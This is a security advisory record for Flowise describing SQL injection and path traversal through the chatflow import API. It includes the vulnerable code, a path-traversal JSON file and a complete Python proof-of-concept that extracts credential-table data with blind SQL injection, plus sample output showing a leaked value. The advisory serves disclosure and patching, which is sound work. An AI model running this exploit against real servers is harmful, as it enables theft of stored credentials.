{"id":"GHSA-9c4c-g95m-c8cp","summary":"FlowiseDB vulnerable to SQL Injection by authenticated users","details":"### Summary\nimport functions are vulnerable.\n* [importChatflows](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/chatflows/index.ts#L219)\n* [importTools](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/tools/index.ts#L85)\n* [importVariables](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/variables/index.ts)\n\n### Details\n**Authenticated user** can call importChatflows API, import json file such as `AllChatflows.json`.\nbut Due to insufficient validation to chatflow.id in importChatflows API, 2 issues arise.\n\n**Issue 1 (Bug Type)**\n1. Malicious user creates `AllChatflows.json` file by adding `../` and arbitrary path to the chatflow.id of the json file.\n    ```json\n    {\n      \"Chatflows\": [\n        {\n          \"id\": \"../../../../../../apikey\",\n          \"name\": \"clickme\",\n          \"flowData\": \"{}\"\n        }\n      ]\n    }\n    ```\n2. Victim download this file, and import this to flowise.\n3. When victim click created chatflow, victim access to flowise:3000/canvas/{chatflow.id}.\n\n**Issue 2 (Vulnerability Type)**\nimportChatflows API use unsafe SQL Query.\n\n```javascript\n// packages/server/src/services/chatflows/index.ts\nconst importChatflows = async (newChatflows: Partial\u003cChatFlow\u003e[]): Promise\u003cany\u003e =\u003e {\n        try {\n        const appServer = getRunningExpressApp()\n\n        // step 1 - check whether file chatflows array is zero\n        if (newChatflows.length == 0) return\n\n        // step 2 - check whether ids are duplicate in database\n        let ids = '('\n        let count: number = 0\n        const lastCount = newChatflows.length - 1\n        newChatflows.forEach((newChatflow) =\u003e {\n            ids += `'${newChatflow.id}'`           // \u003c===== user input\n            if (lastCount != count) ids += ','\n            if (lastCount == count) ids += ')'\n            count += 1\n        })\n\n        const selectResponse = await appServer.AppDataSource.getRepository(ChatFlow)\n            .createQueryBuilder('cf')\n            .select('cf.id')\n            .where(`cf.id IN ${ids}`)                   // \u003c===== here\n            .getMany()\n        const foundIds = selectResponse.map((response) =\u003e {\n            return response.id\n        })\n```\nIt changes like `SELECT cf.id FROM cf WHERE cf.id IN ('{USER-INPUT...}')` by the code above.\nWhen  `') {Malicious SQL Query} --` is passed to newChatflow.id, SQL Injection occurs.\n\n### PoC\n```python\nimport argparse\nimport requests\n\n\ndef import_chatflows(\n    url: str,\n    token: str,\n    payload: dict\n):\n    response = requests.post(\n        f'{url}/api/v1/chatflows/importchatflows',\n        headers={\n            'Authorization': f'Bearer {token}'\n            # 'Authorization': f'Basic {token}'\n        },\n        json=payload\n    )\n\n    return response.json()\n\n\ndef import_normal_data(\n    api_url: str,\n    token: str,\n    normal_data: str\n):\n    data_id = 'aaaaaa'\n\n    payload = {\n        \"Chatflows\": [\n            {\n                \"id\": data_id,\n                \"name\": normal_data,\n                \"flowData\": \"{}\"\n            }\n        ]\n    }\n\n    import_chatflows(\n        url=api_url,\n        token=token,\n        payload=payload\n    )\n    return data_id\n\n\ndef get_character(\n    api_url: str,\n    token: str,\n    data_id: str,\n    column_name: str,\n    index: int\n):\n    injection_query = f'(SELECT ascii(substr({column_name},{index},1)) FROM credential limit 0,1)'\n\n    def create_payload(\n        c: int\n    ):\n        return f\"{data_id}') and if (({injection_query})\u003c{c}, 0, 9e300 * 9e300); -- \"\n\n    chatflows_json = {\n        \"Chatflows\": [\n            {\n                \"id\": \"\",\n                \"name\": data_id,\n                \"flowData\": \"{}\"\n            }\n        ]\n    }\n\n    bitbox = [\n        64, 32, 16, 8, 4, 2, 1\n    ]\n    character = 0\n    for bit in bitbox:\n        payload = create_payload(c=character + bit)\n        chatflows_json['Chatflows'][0]['id'] = payload\n\n        res = import_chatflows(\n            url=api_url,\n            token=token,\n            payload=chatflows_json\n        )\n        if 'DOUBLE value is out of range' in res['message']:\n            # character is more then bit\n            character += bit\n        else:\n            # character is less then bit\n            character += 0\n\n    return chr(character)\n\n\ndef get_length(\n    api_url: str,\n    token: str,\n    data_id: str,\n    column_name: str\n):\n    injection_query = f'(SELECT length({column_name}) FROM credential limit 0,1)'\n\n    def create_payload(\n        c: int\n    ):\n        return f\"{data_id}') and if (({injection_query})\u003c{c}, 0, 9e300 * 9e300); -- \"\n\n    chatflows_json = {\n        \"Chatflows\": [\n            {\n                \"id\": \"\",\n                \"name\": data_id,\n                \"flowData\": \"{}\"\n            }\n        ]\n    }\n\n    column_len = 0\n    bitbox = [\n        256, 128, 64, 32, 16, 8, 4, 2, 1\n    ]\n    for bit in bitbox:\n        payload = create_payload(c=column_len + bit)\n        chatflows_json['Chatflows'][0]['id'] = payload\n\n        res = import_chatflows(\n            url=api_url,\n            token=token,\n            payload=chatflows_json\n        )\n        if 'DOUBLE value is out of range' in res['message']:\n            # column_len is more then bit\n            column_len += bit\n        else:\n            # column_len is less then bit\n            column_len += 0\n\n    return column_len\n\n\ndef main(\n    url: str,\n    token: str\n):\n    api_url = url\n\n    column_box = [\n        'credentialName',\n        'encryptedData'\n    ]\n\n    data_id = import_normal_data(\n        api_url=api_url,\n        token=token,\n        normal_data='flow01'\n    )\n\n    for column_name in column_box:\n        column_len = get_length(\n            api_url=api_url,\n            token=token,\n            data_id=data_id,\n            column_name=column_name\n        )\n\n        print(f'[+] {column_name} length is {column_len}')\n\n        result = ''\n        for i in range(column_len):\n            result += get_character(\n                api_url=api_url,\n                token=token,\n                data_id=data_id,\n                column_name=column_name,\n                index=i + 1\n            )\n\n        print(f'[+] {column_name}: {result}')\n\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\n        '--url',\n        type=str,\n        default='http://flowise:3000'\n    )\n    parser.add_argument(\n        '--access',\n        type=str,\n        required=True,\n        help='Get from http://flowise:3000/apikey'\n    )\n\n    m_args = parser.parse_args()\n\n    main(\n        url=m_args.url,\n        token=m_args.access\n    )\n```\n\n**poc results: encryptedData from flowise database credential table was successfully leaked.**\n```\n/app # python ex2.py --url http://flowise:3000 --access \"blahblah~~~\"\n[+] credentialName length is 9\n[+] credentialName: openAIApi\n[+] encryptedData length is 88\n[+] encryptedData: U2FsdGVkX19LlIhbD4M9q9reLWQilBY6ffWo2S9PQ669CP1HpMPa5g1h1rJL0ZK3x0UMsLi/8Pz6TbSFrmIZbg==\n```\n\nIt is recommended to limit all chatflow ids & chat ids to UUID.\n\n### Impact\n* Database leak\n* Lateral Movement","aliases":["CVE-2025-71332"],"modified":"2026-06-24T13:26:31.569563Z","published":"2025-04-07T18:55:13Z","database_specific":{"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2025-04-07T18:55:13Z","nvd_published_at":null,"cwe_ids":["CWE-564"]},"references":[{"type":"WEB","url":"https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-9c4c-g95m-c8cp"},{"type":"WEB","url":"https://github.com/FlowiseAI/Flowise/pull/4226"},{"type":"PACKAGE","url":"https://github.com/FlowiseAI/Flowise"}],"affected":[{"package":{"name":"flowise","ecosystem":"npm","purl":"pkg:npm/flowise"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"2.2.7"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/04/GHSA-9c4c-g95m-c8cp/GHSA-9c4c-g95m-c8cp.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L"}]}